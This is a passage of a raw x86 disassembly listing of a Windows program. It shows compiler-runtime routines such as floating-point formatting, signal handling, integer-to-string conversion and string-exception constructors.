XREF: sub_425973+17Fj cmp edi, 15h jle short loc_425B04 push 15h pop edi loc_425B04: ; CODE XREF: sub_425973+18Cj movzx esi, [ebp+var_6] sub esi, 3FFEh and [ebp+var_6], 0 mov [ebp+arg_14], 8 loc_425B1A: ; CODE XREF: sub_425973+1B4j lea eax, [ebp+var_10] push eax call sub_425380 dec [ebp+arg_14] pop ecx jnz short loc_425B1A test esi, esi jge short loc_425B44 neg esi and esi, 0FFh jle short loc_425B44 loc_425B37: ; CODE XREF: sub_425973+1CFj lea eax, [ebp+var_10] push eax call sub_4253AE dec esi pop ecx jnz short loc_425B37 loc_425B44: ; CODE XREF: sub_425973+1B8j ; sub_425973+1C2j lea ecx, [edi+1] lea eax, [ebx+4] test ecx, ecx mov [ebp+arg_14], eax jle short loc_425BA1 mov [ebp+arg_C], ecx loc_425B54: ; CODE XREF: sub_425973+229j lea esi, [ebp+var_10] lea edi, [ebp+arg_0] movsd movsd lea eax, [ebp+var_10] push eax movsd call sub_425380 lea eax, [ebp+var_10] push eax call sub_425380 lea eax, [ebp+arg_0] push eax lea eax, [ebp+var_10] push eax call sub_425322 lea eax, [ebp+var_10] push eax call sub_425380 mov al, byte ptr [ebp+var_6+1] mov ecx, [ebp+arg_14] and byte ptr [ebp+var_6+1], 0 add esp, 14h add al, 30h inc [ebp+arg_14] dec [ebp+arg_C] mov [ecx], al jnz short loc_425B54 mov eax, [ebp+arg_14] loc_425BA1: ; CODE XREF: sub_425973+1DCj mov cl, [eax-1] dec eax dec eax cmp cl, 35h lea ecx, [ebx+4] jl short loc_425BDE loc_425BAE: ; CODE XREF: sub_425973+248j cmp eax, ecx jb short loc_425BC1 cmp byte ptr [eax], 39h jnz short loc_425BBD mov byte ptr [eax], 30h dec eax jmp short loc_425BAE ; --------------------------------------------------------------------------- loc_425BBD: ; CODE XREF: sub_425973+242j cmp eax, ecx jnb short loc_425BC5 loc_425BC1: ; CODE XREF: sub_425973+23Dj inc eax inc word ptr [ebx] loc_425BC5: ; CODE XREF: sub_425973+24Cj inc byte ptr [eax] loc_425BC7: ; CODE XREF: sub_425973+279j sub al, bl sub al, 3 mov [ebx+3], al movsx eax, al and byte ptr [eax+ebx+4], 0 loc_425BD6: ; CODE XREF: sub_425973+F0j mov eax, [ebp+var_4] loc_425BD9: ; CODE XREF: sub_425973+291j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_425BDE: ; CODE XREF: sub_425973+239j ; sub_425973+275j cmp eax, ecx jb short loc_425BEE cmp byte ptr [eax], 30h jnz short loc_425BEA dec eax jmp short loc_425BDE ; --------------------------------------------------------------------------- loc_425BEA: ; CODE XREF: sub_425973+272j cmp eax, ecx jnb short loc_425BC7 loc_425BEE: ; CODE XREF: sub_425973+26Dj and word ptr [ebx], 0 mov byte ptr [ebx+2], 20h mov byte ptr [ebx+3], 1 mov byte ptr [ecx], 30h loc_425BFD: ; CODE XREF: sub_425973+87j and byte ptr [ebx+5], 0 push 1 pop eax jmp short loc_425BD9 sub_425973 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_425C06 proc near ; CODE XREF: sub_422DFC+21DDp arg_0 = dword ptr 8 push ebp mov ebp, esp push esi push edi mov edi, [ebp+arg_0] mov eax, edi dec eax dec eax jz short loc_425C6D dec eax dec eax jz short loc_425C5E sub eax, 4 jz short loc_425C5E sub eax, 3 jz short loc_425C5E sub eax, 4 jz short loc_425C51 sub eax, 6 jz short loc_425C44 dec eax jz short loc_425C37 or eax, 0FFFFFFFFh jmp loc_425D2F ; --------------------------------------------------------------------------- loc_425C37: ; CODE XREF: sub_425C06+27j mov esi, dword_4DC004 mov eax, offset dword_4DC004 jmp short loc_425C78 ; --------------------------------------------------------------------------- loc_425C44: ; CODE XREF: sub_425C06+24j mov esi, dword_4DC000 mov eax, offset dword_4DC000 jmp short loc_425C78 ; --------------------------------------------------------------------------- loc_425C51: ; CODE XREF: sub_425C06+1Fj mov esi, dword_4DC008 mov eax, offset dword_4DC008 jmp short loc_425C78 ; --------------------------------------------------------------------------- loc_425C5E: ; CODE XREF: sub_425C06+10j ; sub_425C06+15j ... push edi call sub_425D33 mov esi, [eax+8] add eax, 8 pop ecx jmp short loc_425C78 ; --------------------------------------------------------------------------- loc_425C6D: ; CODE XREF: sub_425C06+Cj mov esi, dword_4DBFFC mov eax, offset dword_4DBFFC loc_425C78: ; CODE XREF: sub_425C06+3Cj ; sub_425C06+49j ... cmp esi, 1 jnz short loc_425C84 xor eax, eax jmp loc_425D2F ; --------------------------------------------------------------------------- loc_425C84: ; CODE XREF: sub_425C06+75j test esi, esi jnz short loc_425C8F push 3 call sub_41C1A2 loc_425C8F: ; CODE XREF: sub_425C06+80j push ebx push 8 pop ecx cmp edi, ecx jz short loc_425CA1 cmp edi, 0Bh jz short loc_425CA1 cmp edi, 4 jnz short loc_425CC7 loc_425CA1: ; CODE XREF: sub_425C06+8Fj ; sub_425C06+94j mov ebx, dword_4DBE9C and dword_4DBE9C, 0 cmp edi, ecx jnz short loc_425CF6 mov edx, dword_43D4CC mov dword_43D4CC, 8Ch mov [ebp+arg_0], edx jmp short loc_425CCA ; --------------------------------------------------------------------------- loc_425CC7: ; CODE XREF: sub_425C06+99j mov ebx, [ebp+arg_0] loc_425CCA: ; CODE XREF: sub_425C06+BFj cmp edi, ecx jnz short loc_425CF6 mov eax, dword_43D4C0 mov ecx, dword_43D4C4 add ecx, eax cmp eax, ecx jge short loc_425CFD lea edx, [eax+eax*2] sub ecx, eax lea edx, ds:43D450h[edx*4] loc_425CEB: ; CODE XREF: sub_425C06+ECj and dword ptr [edx], 0 add edx, 0Ch dec ecx jnz short loc_425CEB jmp short loc_425CFD ; --------------------------------------------------------------------------- loc_425CF6: ; CODE XREF: sub_425C06+AAj ; sub_425C06+C6j and dword ptr [eax], 0 cmp edi, ecx jnz short loc_425D0B loc_425CFD: ; CODE XREF: sub_425C06+D7j ; sub_425C06+EEj push dword_43D4CC push 8 call esi pop ecx pop ecx jmp short loc_425D19 ; --------------------------------------------------------------------------- loc_425D0B: ; CODE XREF: sub_425C06+F5j push edi call esi cmp edi, 0Bh pop ecx jz short loc_425D19 cmp edi, 4 jnz short loc_425D2C loc_425D19: ; CODE XREF: sub_425C06+103j ; sub_425C06+10Cj cmp edi, 8 mov dword_4DBE9C, ebx jnz short loc_425D2C mov eax, [ebp+arg_0] mov dword_43D4CC, eax loc_425D2C: ; CODE XREF: sub_425C06+111j ; sub_425C06+11Cj xor eax, eax pop ebx loc_425D2F: ; CODE XREF: sub_425C06+2Cj ; sub_425C06+79j pop edi pop esi pop ebp retn sub_425C06 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_425D33 proc near ; CODE XREF: sub_425C06+59p arg_0 = dword ptr 4 mov edx, [esp+arg_0] mov ecx, dword_43D4C8 cmp dword_43D44C, edx push esi mov eax, offset dword_43D448 jz short loc_425D61 lea esi, [ecx+ecx*2] lea esi, ds:43D448h[esi*4] loc_425D55: ; CODE XREF: sub_425D33+2Cj add eax, 0Ch cmp eax, esi jnb short loc_425D61 cmp [eax+4], edx jnz short loc_425D55 loc_425D61: ; CODE XREF: sub_425D33+16j ; sub_425D33+27j lea ecx, [ecx+ecx*2] pop esi lea ecx, ds:43D448h[ecx*4] cmp eax, ecx jnb short loc_425D75 cmp [eax+4], edx jz short locret_425D77 loc_425D75: ; CODE XREF: sub_425D33+3Bj xor eax, eax locret_425D77: ; CODE XREF: sub_425D33+40j retn sub_425D33 endp ; =============== S U B R O U T I N E ======================================= sub_425D78 proc near ; CODE XREF: sub_4251BB+8Bp ; sub_4251BB+D9p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push esi cmp eax, dword_4DD140 jnb short loc_425DDF mov ecx, eax and eax, 1Fh sar ecx, 5 mov ecx, dword_4DD040[ecx*4] lea edx, [ecx+eax*8+4] mov cl, [ecx+eax*8+4] test cl, 1 jz short loc_425DDF mov al, cl mov esi, 8000h and eax, 80h cmp [esp+4+arg_4], esi jnz short loc_425DB8 and cl, 7Fh jmp short loc_425DC5 ; --------------------------------------------------------------------------- loc_425DB8: ; CODE XREF: sub_425D78+39j cmp [esp+4+arg_4], 4000h jnz short loc_425DD3 or cl, 80h loc_425DC5: ; CODE XREF: sub_425D78+3Ej neg eax sbb eax, eax mov [edx], cl and ax, 0C000h add eax, esi pop esi retn ; --------------------------------------------------------------------------- loc_425DD3: ; CODE XREF: sub_425D78+48j mov dword_4DBDDC, 16h jmp short loc_425DE9 ; --------------------------------------------------------------------------- loc_425DDF: ; CODE XREF: sub_425D78+Bj ; sub_425D78+27j mov dword_4DBDDC, 9 loc_425DE9: ; CODE XREF: sub_425D78+65j or eax, 0FFFFFFFFh pop esi retn sub_425D78 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_425DEE proc near ; CODE XREF: sub_425973+165p ; sub_42600E+69p var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 24h push ebx mov ebx, [ebp+arg_4] push esi mov esi, [ebp+arg_0] mov cx, [ebx+0Ah] xor eax, eax push edi mov [ebp+var_14], eax mov [ebp+var_24], eax mov [ebp+var_20], eax mov [ebp+var_1C], eax mov ax, [esi+0Ah] mov edi, ecx mov edx, 7FFFh xor edi, eax and eax, edx and ecx, edx and edi, 8000h cmp ax, 7FFFh lea edx, [ecx+eax] mov [ebp+arg_0], edx jnb loc_425FEE cmp cx, 7FFFh jnb loc_425FEE cmp dx, 0BFFDh ja loc_425FEE cmp dx, 3FBFh ja short loc_425E57 xor eax, eax jmp short loc_425E91 ; --------------------------------------------------------------------------- loc_425E57: ; CODE XREF: sub_425DEE+63j test ax, ax mov edx, 7FFFFFFFh jnz short loc_425E79 inc [ebp+arg_0] test [esi+8], edx jnz short loc_425E79 xor eax, eax cmp [esi+4], eax jnz short loc_425E7B cmp [esi], eax jnz short loc_425E7B jmp loc_425FE8 ; --------------------------------------------------------------------------- loc_425E79: ; CODE XREF: sub_425DEE+71j ; sub_425DEE+79j xor eax, eax loc_425E7B: ; CODE XREF: sub_425DEE+80j ; sub_425DEE+84j cmp cx, ax jnz short loc_425E9E inc [ebp+arg_0] test [ebx+8], edx jnz short loc_425E9E cmp [ebx+4], eax jnz short loc_425E9E cmp [ebx], eax jnz short loc_425E9E loc_425E91: ; CODE XREF: sub_425DEE+67j mov [esi+8], eax mov [esi+4], eax mov [esi], eax jmp loc_426009 ; --------------------------------------------------------------------------- loc_425E9E: ; CODE XREF: sub_425DEE+90j ; sub_425DEE+98j ... mov [ebp+var_10], eax lea eax, [ebp+var_20] mov [ebp+var_4], eax mov [ebp+arg_4], 5 loc_425EAE: ; CODE XREF: sub_425DEE+122j mov eax, [ebp+var_10] add eax, eax cmp [ebp+arg_4], 0 jle short loc_425F02 add eax, esi lea ecx, [ebx+8] mov [ebp+var_8], eax mov eax, [ebp+arg_4] mov [ebp+var_C], ecx mov [ebp+var_18], eax loc_425ECA: ; CODE XREF: sub_425DEE+112j mov eax, [ebp+var_8] mov ecx, [ebp+var_C] movzx eax, word ptr [eax] movzx ecx, word ptr [ecx] imul eax, ecx mov ecx, [ebp+var_4] add ecx, 0FFFFFFFCh push ecx push eax push dword ptr [ecx] call sub_425301 add esp, 0Ch test eax, eax jz short loc_425EF5 mov eax, [ebp+var_4] inc word ptr [eax] loc_425EF5: ; CODE XREF: sub_425DEE+FFj add [ebp+var_8], 2 sub [ebp+var_C], 2 dec [ebp+var_18] jnz short loc_425ECA loc_425F02: ; CODE XREF: sub_425DEE+C9j add [ebp+var_4], 2 inc [ebp+var_10] dec [ebp+arg_4] cmp [ebp+arg_4], 0 jg short loc_425EAE add [ebp+arg_0], 0C002h cmp word ptr [ebp+arg_0], 0 jle short loc_425F45 loc_425F20: ; CODE XREF: sub_425DEE+14Ej test byte ptr [ebp+var_1C+3], 80h jnz short loc_425F3E lea eax, [ebp+var_24] push eax call sub_425380 add [ebp+arg_0], 0FFFFh pop ecx cmp word ptr [ebp+arg_0], 0 jg short loc_425F20 loc_425F3E: ; CODE XREF: sub_425DEE+136j cmp word ptr [ebp+arg_0], 0 jg short loc_425F7E loc_425F45: ; CODE XREF: sub_425DEE+130j add [ebp+arg_0], 0FFFFh cmp word ptr [ebp+arg_0], 0 jge short loc_425F7E movsx eax, word ptr [ebp+arg_0] neg eax add [ebp+arg_0], eax mov ebx, eax loc_425F5E: ; CODE XREF: sub_425DEE+184j test byte ptr [ebp+var_24], 1 jz short loc_425F67 inc [ebp+var_14] loc_425F67: ; CODE XREF: sub_425DEE+174j lea eax, [ebp+var_24] push eax call sub_4253AE dec ebx pop ecx jnz short loc_425F5E cmp [ebp+var_14], 0 jz short loc_425F7E or byte ptr [ebp+var_24], 1 loc_425F7E: ; CODE XREF: sub_425DEE+155j ; sub_425DEE+163j ... cmp word ptr [ebp+var_24], 8000h ja short loc_425F95 mov eax, [ebp+var_24] and eax, 1FFFFh cmp eax, 18000h jnz short loc_425FCA loc_425F95: ; CODE XREF: sub_425DEE+196j cmp [ebp+var_24+2], 0FFFFFFFFh jnz short loc_425FC7 and [ebp+var_24+2], 0 cmp [ebp+var_20+2], 0FFFFFFFFh jnz short loc_425FC2 and [ebp+var_20+2], 0 cmp word ptr [ebp+var_1C+2], 0FFFFh jnz short loc_425FBC inc [ebp+arg_0] mov word ptr [ebp+var_1C+2], 8000h jmp short loc_425FCA ; --------------------------------------------------------------------------- loc_425FBC: ; CODE XREF: sub_425DEE+1C1j inc word ptr [ebp+var_1C+2] jmp short loc_425FCA ; --------------------------------------------------------------------------- loc_425FC2: ; CODE XREF: sub_425DEE+1B5j inc [ebp+var_20+2] jmp short loc_425FCA ; --------------------------------------------------------------------------- loc_425FC7: ; CODE XREF: sub_425DEE+1ABj inc [ebp+var_24+2] loc_425FCA: ; CODE XREF: sub_425DEE+1A5j ; sub_425DEE+1CCj ... mov eax, [ebp+arg_0] cmp ax, 7FFFh jnb short loc_425FEE mov cx, word ptr [ebp+var_24+2] or eax, edi mov [esi], cx mov ecx, [ebp+var_20] mov [esi+2], ecx mov ecx, [ebp+var_1C] mov [esi+6], ecx loc_425FE8: ; CODE XREF: sub_425DEE+86j mov [esi+0Ah], ax jmp short loc_426009 ; --------------------------------------------------------------------------- loc_425FEE: ; CODE XREF: sub_425DEE+42j ; sub_425DEE+4Dj ... neg di sbb edi, edi and dword ptr [esi+4], 0 and edi, 80000000h add edi, 7FFF8000h and dword ptr [esi], 0 mov [esi+8], edi loc_426009: ; CODE XREF: sub_425DEE+ABj ; sub_425DEE+1FEj pop edi pop esi pop ebx leave retn sub_425DEE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42600E proc near ; CODE XREF: sub_4254A2+440p ; sub_425973+14Cp var_C = byte ptr -0Ch var_A = dword ptr -0Ah arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch push ebx mov ebx, offset dword_43D828 xor ecx, ecx sub ebx, 60h cmp [ebp+arg_4], ecx jz short loc_426087 jge short loc_426036 mov eax, [ebp+arg_4] mov ebx, offset dword_43D988 neg eax mov [ebp+arg_4], eax sub ebx, 60h loc_426036: ; CODE XREF: sub_42600E+16j cmp [ebp+arg_8], ecx jnz short loc_426041 mov eax, [ebp+arg_0] mov [eax], cx loc_426041: ; CODE XREF: sub_42600E+2Bj cmp [ebp+arg_4], ecx jz short loc_426087 push esi push edi loc_426048: ; CODE XREF: sub_42600E+75j mov eax, [ebp+arg_4] add ebx, 54h sar [ebp+arg_4], 3 and eax, 7 cmp eax, ecx jz short loc_426080 lea eax, [eax+eax*2] cmp word ptr [ebx+eax*4], 8000h lea esi, [ebx+eax*4] jb short loc_426073 lea edi, [ebp+var_C] movsd movsd movsd dec [ebp+var_A] lea esi, [ebp+var_C] loc_426073: ; CODE XREF: sub_42600E+57j push esi push [ebp+arg_0] call sub_425DEE pop ecx pop ecx xor ecx, ecx loc_426080: ; CODE XREF: sub_42600E+49j cmp [ebp+arg_4], ecx jnz short loc_426048 pop edi pop esi loc_426087: ; CODE XREF: sub_42600E+14j ; sub_42600E+36j pop ebx leave retn sub_42600E endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_426090 proc near ; CODE XREF: sub_426173+19p ; sub_42629A+19p arg_0 = dword ptr 4 push esi push [esp+4+arg_0] mov esi, ecx xor eax, eax mov [esi+4], eax mov [esi+8], eax mov [esi+0Ch], eax call sub_41B9C0 pop ecx push eax push [esp+8+arg_0] mov ecx, esi call sub_40D9B3 mov eax, esi pop esi retn 8 sub_426090 endp ; =============== S U B R O U T I N E ======================================= sub_4260BA proc near ; CODE XREF: ___:004260E5p ; sub_426168+6j ... push esi mov esi, ecx push 1 lea ecx, [esi+0Ch] mov dword ptr [esi], offset off_427C90 call sub_40D977 mov ecx, esi pop esi jmp sub_426564 sub_4260BA endp ; =============== S U B R O U T I N E ======================================= sub_4260D5 proc near ; DATA XREF: ___:00427C94o ; ___:00427CA4o ... mov eax, [ecx+10h] test eax, eax jnz short locret_4260E1 mov eax, offset dword_427688 locret_4260E1: ; CODE XREF: sub_4260D5+5j retn sub_4260D5 endp ; --------------------------------------------------------------------------- loc_4260E2: ; DATA XREF: ___:off_427C90o push esi mov esi, ecx call sub_4260BA test byte ptr [esp+8], 1 jz short loc_4260F8 push esi call sub_41D65F pop ecx loc_4260F8: ; CODE XREF: ___:004260EFj mov eax, esi pop esi retn 4 ; =============== S U B R O U T I N E ======================================= sub_4260FE proc near ; CODE XREF: sub_426173+29p mov eax, offset loc_426AE2 call sub_41D640 push ecx push ecx push esi lea eax, [ebp-10h] mov esi, ecx push eax mov [ebp-14h], esi mov dword ptr [ebp-10h], offset dword_427CAC call sub_4264DD push dword ptr [ebp+8] and dword ptr [ebp-4], 0 lea ecx, [esi+0Ch] mov dword ptr [esi], offset off_427C90 call sub_4261B0 mov ecx, [ebp-0Ch] mov dword ptr [esi], offset off_427CA0 mov eax, esi pop esi mov large fs:0, ecx leave retn 4 sub_4260FE endp ; =============== S U B R O U T I N E ======================================= sub_42614C proc near ; DATA XREF: ___:off_427CA0o arg_0 = byte ptr 4 push esi mov esi, ecx call sub_426168 test [esp+4+arg_0], 1 jz short loc_426162 push esi call sub_41D65F pop ecx loc_426162: ; CODE XREF: sub_42614C+Dj mov eax, esi pop esi retn 4 sub_42614C endp ; =============== S U B R O U T I N E ======================================= sub_426168 proc near ; CODE XREF: sub_42614C+3p ; DATA XREF: ___:00428014o mov dword ptr [ecx], offset off_427CA0 jmp sub_4260BA sub_426168 endp ; =============== S U B R O U T I N E ======================================= sub_426173 proc near ; CODE XREF: sub_40D824+13p ; sub_40D9E8+Ep mov eax, offset loc_426AF4 call sub_41D640 sub esp, 30h lea eax, [ebp-0Dh] push eax push offset aInvalidStringP ; "invalid string position" lea ecx, [ebp-20h] call sub_426090 and dword ptr [ebp-4], 0 lea eax, [ebp-20h] push eax lea ecx, [ebp-3Ch] call sub_4260FE push offset dword_428010 lea eax, [ebp-3Ch] push eax call sub_426587 int 3 ; Trap to Debugger sub_426173 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4261B0 proc near ; CODE XREF: sub_4260FE+32p ; sub_4261D0+32p ... arg_0 = dword ptr 4 push esi xor eax, eax push 0FFFFFFFFh mov esi, ecx push eax push [esp+0Ch+arg_0] mov [esi+4], eax mov [esi+8], eax mov [esi+0Ch], eax call sub_40D824 mov eax, esi pop esi retn 4 sub_4261B0 endp ; =============== S U B R O U T I N E ======================================= sub_4261D0 proc near ; CODE XREF: sub_42629A+29p mov eax, offset loc_426B06 call sub_41D640 push ecx push ecx push esi lea eax, [ebp-10h] mov esi, ecx push eax mov [ebp-14h], esi mov dword ptr [ebp-10h], offset dword_427CAC call sub_4264DD push dword ptr [ebp+8] and dword ptr [ebp-4], 0 lea ecx, [esi+0Ch] mov dword ptr [esi], offset off_427C90 call sub_4261B0 mov ecx, [ebp-0Ch] mov eax, esi pop esi mov large fs:0, ecx leave retn 4 sub_4261D0 endp ; =============== S U B R O U T I N E ======================================= sub_426218 proc near ; CODE XREF: sub_426282+7p ; sub_4262DE+7p ... mov eax, offset loc_426B18 call sub_41D640 push ecx push esi push edi mov edi, [ebp+8] mov esi, ecx push edi mov [ebp-10h], esi call sub_42651A and dword ptr [ebp-4], 0 add edi, 0Ch push edi lea ecx, [esi+0Ch] mov dword ptr [esi], offset off_427C90 call sub_4261B0 mov ecx, [ebp-0Ch] pop edi mov eax, esi pop esi mov large fs:0, ecx leave retn 4 sub_426218 endp ; =============== S U B R O U T I N E ======================================= sub_42625B proc near ; DATA XREF: ___:off_427CCCo arg_0 = byte ptr 4 push esi mov esi, ecx call sub_426277 test [esp+4+arg_0], 1 jz short loc_426271 push esi call sub_41D65F pop ecx loc_426271: ; CODE XREF: sub_42625B+Dj mov eax, esi pop esi retn 4 sub_42625B endp ; =============== S U B R O U T I N E ======================================= sub_426277 proc near ; CODE XREF: sub_42625B+3p ; DATA XREF: ___:004280BCo mov dword ptr [ecx], offset off_427CCC jmp sub_4260BA sub_426277 endp ; =============== S U B R O U T I N E ======================================= sub_426282 proc near ; CODE XREF: sub_4262F6+46p arg_0 = dword ptr 4 push esi push [esp+4+arg_0] mov esi, ecx call sub_426218 mov dword ptr [esi], offset off_427CA0 mov eax, esi pop esi retn 4 sub_426282 endp ; =============== S U B R O U T I N E ======================================= sub_42629A proc near ; CODE XREF: sub_40D774+15p ; sub_40D7CD+15p ... mov eax, offset loc_426B2A call sub_41D640 sub esp, 30h lea eax, [ebp-0Dh] push eax push offset aStringTooLong ; "string too long" lea ecx, [ebp-20h] call sub_426090 and dword ptr [ebp-4], 0 lea eax, [ebp-20h] push eax lea ecx, [ebp-3Ch] call sub_4261D0 push offset dword_4280B8 lea eax, [ebp-3Ch] push eax mov dword ptr [ebp-3Ch], offset off_427CCC call sub_426587 int 3 ; Trap to Debugger sub_42629A endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4262DE proc near ; CODE XREF: sub_4262F6+28p arg_0 = dword ptr 4 push esi push [esp+4+arg_0] mov esi, ecx call sub_426218 mov dword ptr [esi], offset off_427CCC mov eax, esi pop esi retn 4 sub_4262DE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame sub_4262F6 proc near ; DATA XREF: ___:00427C98o var_1C = byte ptr -1Ch push ebp mov ebp, esp sub esp, 1Ch push ecx lea ecx, [ebp+var_1C] call sub_426218 push offset dword_4280F8 lea eax, [ebp+var_1C] push eax call sub_426587 int 3 ; Trap to Debugger loc_426314: ; DATA XREF: ___:00427CD4o push ebp mov ebp, esp sub esp, 1Ch push ecx lea ecx, [ebp+var_1C] call sub_4262DE push offset dword_4280B8 lea eax, [ebp+var_1C] push eax call sub_426587 int 3 ; Trap to Debugger loc_426332: ; DATA XREF: ___:00427CA8o push ebp mov ebp, esp sub esp, 1Ch push ecx lea ecx, [ebp+var_1C] call sub_426282 push offset dword_428010 lea eax, [ebp+var_1C] push eax call sub_426587 int 3 ; Trap to Debugger sub_4262F6 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_426350 proc near ; CODE XREF: sub_40D104+5Ep ; ___:00415771p ... nop jmp near ptr 71AB1B7Bh sub_426350 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_426356 proc near ; CODE XREF: sub_41D2AC+23p ; sub_41D550+13p nop jmp near ptr 2880000h sub_426356 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42635C proc near ; CODE XREF: ___:0040B091p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp cmp [ebp+arg_8], 0Ah jnz short loc_426371 cmp [ebp+arg_0], 0 jge short loc_426371 push 1 push 0Ah jmp short loc_426376 ; --------------------------------------------------------------------------- loc_426371: ; CODE XREF: sub_42635C+7j ; sub_42635C+Dj push 0 push [ebp+arg_8] loc_426376: ; CODE XREF: sub_42635C+13j push [ebp+arg_4] push [ebp+arg_0] call sub_426389 mov eax, [ebp+arg_4] add esp, 10h pop ebp retn sub_42635C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_426389 proc near ; CODE XREF: sub_42635C+20p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp cmp [ebp+arg_C], 0 mov ecx, [ebp+arg_4] push ebx push esi push edi jz short loc_4263A3 mov esi, [ebp+arg_0] mov byte ptr [ecx], 2Dh inc ecx neg esi jmp short loc_4263A6 ; --------------------------------------------------------------------------- loc_4263A3: ; CODE XREF: sub_426389+Dj mov esi, [ebp+arg_0] loc_4263A6: ; CODE XREF: sub_426389+18j mov edi, ecx loc_4263A8: ; CODE XREF: sub_426389+43j mov eax, esi xor edx, edx div [ebp+arg_8] mov eax, esi mov ebx, edx xor edx, edx div [ebp+arg_8] cmp ebx, 9 mov esi, eax jbe short loc_4263C4 add bl, 57h jmp short loc_4263C7 ; --------------------------------------------------------------------------- loc_4263C4: ; CODE XREF: sub_426389+34j add bl, 30h loc_4263C7: ; CODE XREF: sub_426389+39j mov [ecx], bl inc ecx test esi, esi ja short loc_4263A8 and byte ptr [ecx], 0 dec ecx loc_4263D2: ; CODE XREF: sub_426389+55j mov dl, [edi] mov al, [ecx] mov [ecx], dl mov [edi], al dec ecx inc edi cmp edi, ecx jb short loc_4263D2 pop edi pop esi pop ebx pop ebp retn sub_426389 endp ; =============== S U B R O U T I N E ======================================= sub_4263E5 proc near ; CODE XREF: sub_41761C+E2p ; sub_41761C+F9p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 cmp dword_4DBE84, 0 push ebx jnz short loc_42642B mov edx, [esp+4+arg_4] mov ecx, [esp+4+arg_0] loc_4263F7: ; CODE XREF: sub_4263E5+42j mov bx, [ecx] cmp bx, 5Ah ja short loc_426409 cmp bx, 41h jb short loc_426409 add ebx, 20h loc_426409: ; CODE XREF: sub_4263E5+19j ; sub_4263E5+1Fj mov ax, [edx] cmp ax, 5Ah ja short loc_42641B cmp ax, 41h jb short loc_42641B add eax, 20h loc_42641B: ; CODE XREF: sub_4263E5+2Bj ; sub_4263E5+31j inc ecx inc ecx inc edx inc edx test bx, bx jz short loc_42645B cmp bx, ax jz short loc_4263F7 jmp short loc_42645B ; --------------------------------------------------------------------------- loc_42642B: ; CODE XREF: sub_4263E5+8j push esi mov esi, [esp+8+arg_0] push edi mov edi, [esp+0Ch+arg_4] loc_426435: ; CODE XREF: sub_4263E5+72j mov ax, [esi] inc esi push eax inc esi call sub_4265C1 mov ebx, eax mov ax, [edi] inc edi push eax inc edi call sub_4265C1 pop ecx test bx, bx pop ecx jz short loc_426459 cmp bx, ax jz short loc_426435 loc_426459: ; CODE XREF: sub_4263E5+6Dj pop edi pop esi loc_42645B: ; CODE XREF: sub_4263E5+3Dj ; sub_4263E5+44j movzx ecx, ax movzx eax, bx sub eax, ecx pop ebx retn sub_4263E5 endp ; =============== S U B R O U T I N E ======================================= sub_426465 proc near ; CODE XREF: sub_41843B+21p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] test esi, esi jz short loc_42648C push esi call sub_41B9C0 inc eax push eax call sub_41BEB5 pop ecx test eax, eax pop ecx jz short loc_42648C push esi push eax call sub_41C890 pop ecx pop ecx pop esi retn ; --------------------------------------------------------------------------- loc_42648C: ; CODE XREF: sub_426465+7j ; sub_426465+1Aj xor eax, eax pop esi retn sub_426465 endp ; =============== S U B R O U T I N E ======================================= sub_426490 proc near ; CODE XREF: ___:004264A8p mov dword ptr [ecx], offset off_427CEC mov ecx, [ecx+4] test ecx, ecx jz short locret_4264A4 push ecx call sub_41BA91 pop ecx locret_4264A4: ; CODE XREF: sub_426490+Bj retn sub_426490 endp ; --------------------------------------------------------------------------- loc_4264A5: ; DATA XREF: ___:off_427CECo push esi mov esi, ecx call sub_426490 test byte ptr [esp+8], 1 jz short loc_4264BB push esi call sub_41D65F pop ecx loc_4264BB: ; CODE XREF: ___:004264B2j mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- loc_4264C1: ; DATA XREF: ___:off_427CF4o push esi mov esi, ecx call sub_426564 test byte ptr [esp+8], 1 jz short loc_4264D7 push esi call sub_41D65F pop ecx loc_4264D7: ; CODE XREF: ___:004264CEj mov eax, esi pop esi retn 4 ; =============== S U B R O U T I N E ======================================= sub_4264DD proc near ; CODE XREF: sub_4260FE+1Dp ; sub_4261D0+1Dp arg_0 = dword ptr 4 push esi push edi mov edi, [esp+8+arg_0] mov esi, ecx mov dword ptr [esi], offset off_427CF4 push dword ptr [edi] call sub_41B9C0 inc eax push eax call sub_41D9A5 pop ecx mov [esi+4], eax test eax, eax pop ecx jz short loc_42650C push dword ptr [edi] push eax call sub_41C890 pop ecx pop ecx loc_42650C: ; CODE XREF: sub_4264DD+23j mov dword ptr [esi+8], 1 mov eax, esi pop edi pop esi retn 4 sub_4264DD endp ; =============== S U B R O U T I N E ======================================= sub_42651A proc near ; CODE XREF: sub_426218+16p arg_0 = dword ptr 4 push esi push edi mov edi, [esp+8+arg_0] mov esi, ecx mov dword ptr [esi], offset off_427CF4 mov eax, [edi+8] test eax, eax mov [esi+8], eax jz short loc_426557 push dword ptr [edi+4] call sub_41B9C0 inc eax push 